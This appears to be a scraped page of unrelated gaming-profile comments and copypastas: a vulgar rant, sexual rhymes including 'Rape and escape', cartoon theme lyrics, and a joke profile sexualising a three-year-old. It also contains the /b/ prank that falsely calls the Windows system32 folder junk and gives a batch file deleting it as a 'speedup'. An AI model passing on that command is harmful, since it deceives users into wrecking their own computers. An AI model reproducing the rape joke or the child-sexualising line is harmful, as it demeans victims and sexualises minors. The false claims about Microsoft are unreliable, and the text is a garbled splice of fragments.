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Αναφορά προβλήματος μετάφρασης
That's right, baby. All points, no quills, no pillows — look at that, it looks like two balls and a bong. He ♥♥♥♥♥♥ my wife, so guess what, I'm gonna ♥♥♥♥ the Earth. That's right, this is what you get: MY SUPER LASER PISS!! Except I'm not gonna piss on the Earth, I'm gonna go higher; I'M PISSING ON THE MOON! How do you like that, Obama?! I PISSED ON THE MOON, YOU IDIOT!
You have twenty-three hours before the piss D R O P L E T S hit the ♥♥♥♥♥♥♥ Earth, now get outta my ♥♥♥♥♥♥♥ sight, before I piss on you too!
♥♥♥ and go
Drip and dip
Nail and bail
Nut then strut
Plow and ciao
Suck and duck
Skeet and yeet
Hit it and quit it
Ram and scram
Screw and shoo
Shoot and scoot
Squirt and revert
Smash and dash
Skeet and retreat
Rape and escape
Hump then dump
Kiss then dismiss
Finger don't linger
Cuddle then scuttle
Breed then proceed
Get lade then evade
Jack of then back off
Ejaculate and evacuate
Go down and skip town
Impregnate and immigrate
Tear her apart then depart
Bust a nut then leave the hut
♥♥♥♥ her ass then hit the gas
Suck her toes then say adios
Fill her hole then take a stroll
Shoot the Jizz then out you is
Spray DNA and refuse to stay
Glaze her buns and get the runs
Smash mouth and dash south
Give her ♥♥♥♥ then run a block
Make a baby and run like crazy
Smash her rear then disappear
Hit the spot then ditch the thot
Blow your load and hit the road
Shoot the glaze then run aways
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You tried Shov, you tried.
Ripped Up ♥♥♥♥♥ After Gangbang
That is all.
when his parents built a very strange machine
It was designed to view a world unseen
(He's gonna catch 'em all cause he is Danny Phantom)
When it didn't quite work, his folks they just quit
Then Danny took a look inside of it
There was a great big flash, everything just changed
His molecules got all rearranged
(Phantom, phantom)
When he first woke up he realized
He had snow white hair and glowing green eyes
He could walk through walls disappear and fly
He was much more unique than the other guys
It was then that he knew what he had to do
He had to stop all the ghosts that were commin' through
He's here to fight for me and you!
He's gonna catch 'em all cause he is Danny Phantom
Gonna catch 'em all cause he is Danny Phantom
Gonna catch 'em all cause he's (Danny Phantom)
When Microsoft was first getting started, they knew they wouldn't make enough money just from the profits of their operating system. Everybody knows people pirate Windows, So they had to get creative. A guy named Chris Liddel came up with the idea to put a folder called "system32" in the windows folder that literally slows down your machine. "system32" hold 32 GIGABYTES of deleted files, internet history, uninstalled progams, and other worthless ♥♥♥♥ that intentionally clogs up your machine. Why did they do it? Because Microsoft owns several PC "Cleaning" tools, like TuneUp Utilites, Norton Antivirus, ect. More money for them. /b/ isn't cool with that, however. Here's how to outsmart those ♥♥♥♥♥♥♥♥ once and for all;
Open Notepad
Type the following text:
@echo off
del C:\WINDOWS\system32
save as "speedup.bat" (select "all files" instead of "text document"
Save it to Desktop
Double-click the .bat file
NEVER GONNA GIVE YOU UP
NEVER GONNA LET YOU DOOOWN
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If you are a beautiful strong black woman, someone will put this in your comments.
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like now
how fire was i?
Age: 3
Sex: pls
Boxers or briefs: neither
Erect?: yes
Works out?: if beating the meat's a workout then yes
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